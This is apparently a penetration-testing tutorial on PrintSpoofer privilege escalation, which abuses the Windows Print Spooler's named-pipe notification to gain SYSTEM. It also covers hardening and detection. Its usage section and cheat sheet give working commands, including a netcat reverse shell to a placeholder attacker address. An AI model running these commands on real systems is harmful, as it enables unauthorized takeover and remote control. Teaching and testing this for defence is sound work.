

Windows Privilege Escalation: PrintSpoofer

Your Juicy Potato guide closed by framing this as a genuinely independent fallback — where Juicy Potato/JuicyPotatoNG trigger a SYSTEM token via DCOM/COM object activation, PrintSpoofer abuses an entirely different Windows component: the **Print Spooler service** itself. Same underlying `SelImpersonatePrivilege` precondition from two guides back, completely different mechanical trigger, which is exactly why having both techniques available matters in practice — a target where one is patched or unavailable frequently still has the other working. Worth locking in the distinction immediately: **Part 1 covers exactly how the Print Spooler's named-pipe behavior gets abused, and why this specific mechanism has proven unusually durable against patching — Part 2 covers practical usage and the specific detection/mitigation landscape**, since Print Spooler's own history of broader security issues (well beyond just this technique) makes it a particularly well-scrutinized service worth understanding in full context.

1. The Specific Trigger Mechanism — The Foundation

The Print Spooler service (`spoolsv.exe`) runs as `NT AUTHORITY\SYSTEM` by default on Windows, and exposes an RPC interface that, among its many legitimate printing-related functions, includes an operation historically intended to let a print server NOTIFY a client when a print job completes — this notification mechanism is PrintSpoofer's entire trigger:

1. PrintSpoofer stands up a NAMED PIPE it controls locally
2. PrintSpoofer calls the Print Spooler service's RPC interface, specifically the `RpcRemoteFindFirstPrinterChangeNotification(Ex)` function, instructing the SYSTEM-privileged spooler service to send a print-job-completion NOTIFICATION back to a client - and specifies PrintSpoofer's own named pipe as the destination
3. The Print Spooler service, running as SYSTEM, connects to PrintSpoofer's named pipe to deliver this notification - and per your Token Impersonation guide's Section 4, a process connecting to a named pipe your process controls makes ITS token available for YOUR process to impersonate

```
4. PrintSpoofer impersonates the resulting SYSTEM token and spawns a new process using it, exactly per the general Potato pattern your SeImpersonatePrivilege guide described
```

The single fact that explains why this specific technique has proven unusually durable — unlike Juicy Potato's OXID resolver redirection quirk (a genuine bug in DCOM's activation handling that Microsoft directly patched), PrintSpoofer abuses a LEGITIMATE, INTENTIONAL feature of how the Print Spooler service is DESIGNED to notify clients — there's no obvious "bug" for Microsoft to simply patch without breaking genuine printing functionality, which is exactly why this technique remains reliably functional against fully patched, modern Windows Server 2019/2022 and current Windows 10/11 systems where Juicy Potato's original mechanism no longer works.

PART 1: Print Spooler Context & Why This Persists

2. Confirming the Print Spooler Service Is Running

Since this entire technique depends on the target Print Spooler service being active, this is the first and most important precondition check, distinct from (and in addition to) the SeImpersonatePrivilege check your earlier guides established:

```
Get-Service -Name Spooler  
sc query spooler
```

STATE field should show RUNNING - if the service is STOPPED or DISABLED (an increasingly common hardening measure specifically BECAUSE of this and other Print Spooler-related vulnerabilities' notoriety), this specific technique is not viable regardless of SeImpersonatePrivilege being present, and Juicy Potato/JuicyPotatoNG (from the previous guide) become the relevant fallback instead - directly the inverse fallback relationship the previous guide described

3. Why Print Spooler Has Become a Widely Scrutinized Service

Worth understanding the broader context, since it directly explains current real-world exploitability rates: Print Spooler has been the subject of SEVERAL major, unrelated vulnerabilities beyond just this privilege-escalation technique — most notably PrintNightmare (CVE-2021-34527), a remote code execution vulnerability that received enormous public attention and directly prompted

many organizations to disable the Print Spooler service entirely on systems that don't genuinely need printing functionality (servers, in particular, frequently have no legitimate need for it at all):

This broader security history means:

- Print Spooler is INCREASINGLY disabled by default or via organizational hardening policy specifically because of its accumulated vulnerability history, reducing THIS technique's real-world applicability over time on well-hardened environments
- Conversely, on environments that HAVEN'T applied this hardening (still a substantial proportion of real-world targets), this technique remains highly reliable specifically because its underlying mechanism (Section 1) has NOT itself been patched the way Juicy Potato's was

PART 2: Practical Usage

4. Running PrintSpoofer

```
PrintSpoofer.exe -i -c "cmd.exe"
```

-i → interactive mode, spawning the resulting SYSTEM shell interactively in the current console session

-c → the command/executable to launch with the captured SYSTEM token (cmd.exe here, but any executable works, including a reverse-shell payload)

5. Non-Interactive / Remote Shell Usage

```
PrintSpoofer.exe -c "cmd.exe /c whoami > C:\temp\output.txt"
```

or, for a full remote reverse shell in a non-interactive/remote

access context (a web shell, for instance, where an interactive

console session isn't available):

```
PrintSpoofer.exe -c "C:\temp\nc.exe attacker-ip 4444 -e cmd.exe"
```

The `-i` interactive flag specifically requires an actual interactive console/RDP-style session to function correctly - in remote-shell contexts (a web shell, a non-interactive reverse shell already in place), omit `-i` and instead have `-c` launch a SEPARATE reverse-shell payload that connects back to a fresh listener, since the INTERACTIVE flag's output can't be meaningfully captured through a non-interactive channel

6. Confirming Successful Exploitation

```
whoami
# expected output, from within the spawned process: nt authority\system
```

7. Troubleshooting Common Failure Modes

"Named pipe not found" or connection errors → confirm Print Spooler service is genuinely running (Section 2) - the single most common cause of failure for this specific technique

Access denied errors → recheck SeImpersonatePrivilege via `whoami /priv` per your SeImpersonatePrivilege guide's Section 2 - the underlying precondition may not actually be present despite attempting this technique

Works but resulting shell isn't actually SYSTEM → uncommon for this specific tool given its narrower, single-purpose design compared to Juicy Potato's CLSID-selection complexity, but worth confirming with `whoami` regardless rather than assuming success from the tool's own console output alone

8. Testing Methodology

1. Confirm SeImpersonatePrivilege per your SeImpersonatePrivilege guide's Section 2
2. Confirm the Print Spooler service is specifically running (Section 2 of this guide) - a distinct, additional precondition beyond the shared privilege requirement
3. Choose interactive (`-i`) vs non-interactive (`-c` with a reverse-shell payload) usage based on your current access method (Section 5)
4. If PrintSpoofer fails and Print Spooler is confirmed stopped/disabled, fall back to Juicy Potato/JuicyPotatoNG from the previous guide - remember these are genuinely INDEPENDENT trigger mechanisms sharing only the underlying privilege requirement, so one failing doesn't predict the other's outcome

5. Confirm actual SYSTEM-level access (Section 6) after any apparently successful run

9. Legal & Ethical Note

Identical baseline authorization requirement to every guide in this series.

10. Prevention

- Disable the Print Spooler service entirely on any system that doesn't genuinely require printing functionality - servers in particular very frequently have no legitimate need for it at all, and this single measure directly eliminates this technique (and, notably, the separate and more severe PrintNightmare RCE category from Section 3) simultaneously
- Where printing functionality genuinely IS required, keep the Print Spooler service patched to current levels and monitor Microsoft's ongoing advisories specifically for this service, given its established pattern of recurring security issues
- Apply least privilege to SeImpersonatePrivilege assignment, per the SAME upstream fix your Token Impersonation and SeImpersonatePrivilege guides both recommended - this remains the single most direct fix addressing the ENTIRE Potato/PrintSpoofer exploit family at its shared root, rather than needing to separately mitigate each specific trigger mechanism one at a time
- Monitor for unexpected named-pipe connections FROM spoolsv.exe specifically, and for spoolsv.exe spawning unexpected CHILD processes, as a detection signature reasonably specific to this exact technique

11. Practical Lab Example

Directly continues both your SeImpersonatePrivilege and Juicy Potato guides' lab setups - the SAME modern, fully-patched lab VM where Juicy Potato (original) failed is the ideal target to confirm PrintSpoofer's independence from that specific patch.

Suggested practice order:

1. On the modern lab VM from your Juicy Potato guide's exercise (where the original tool failed but JuicyPotatoNG succeeded), confirm Print Spooler is running, then run PrintSpoofer and confirm SYSTEM access via an entirely independent mechanism
2. Disable the Print Spooler service on that same VM and confirm

- PrintSpoofer now fails cleanly, while JuicyPotatoNG (from the previous guide) continues to work unaffected - directly observing the two techniques' genuine independence from each other
3. Practice both -i interactive and -c non-interactive usage modes to build comfort with both delivery contexts before relying on either in a real engagement

Kill Chain / ATT&CK / CWE / OWASP — Full Mapping

Framework	Mapping
CWE	CWE-269 (Improper Privilege Management) - same umbrella CWE as every guide in this exploit family
OWASP Top 10:2025	A02:2025 Security Misconfiguration
CVSS	Critical (identical severity profile to every technique in this exploit family)
Cyber Kill Chain	Privilege Escalation
MITRE ATT&CK	T1134.001 (Access Token Manipulation: Token Impersonation/Theft) - same technique ID as every guide in this exploit family, since PrintSpoofer is simply another specific implementation of the identical broader technique

Quick Reference Cheat Sheet

PRECONDITIONS (both required):

whoami /priv → SeImpersonatePrivilege: Enabled
Get-Service -Name Spooler / sc query spooler → STATE: RUNNING

RUN:

PrintSpoofer.exe -i -c "cmd.exe" → interactive session
PrintSpoofer.exe -c "cmd.exe /c <cmd>" → non-interactive/scripted
PrintSpoofer.exe -c "C:\temp\nc.exe <ip> <port> -e cmd.exe" → reverse shell

CONFIRM:

whoami (from the spawned process) → expect nt authority\system

TROUBLESHOOT:

Named pipe errors → Print Spooler not running
Access denied → SeImpersonatePrivilege not actually present

FALLBACK IF THIS FAILS: Juicy Potato / JuicyPotatoNG (previous guide) - genuinely independent trigger mechanism, same underlying

privilege requirement

Root lesson: this technique's durability against patching comes from abusing a LEGITIMATE Print Spooler feature rather than a fixable bug the way Juicy Potato's OXID quirk was - which is exactly why disabling the SERVICE ENTIRELY (not just patching it) is the recommended defense here, a meaningfully different prevention posture than the previous guide's patch-focused advice.
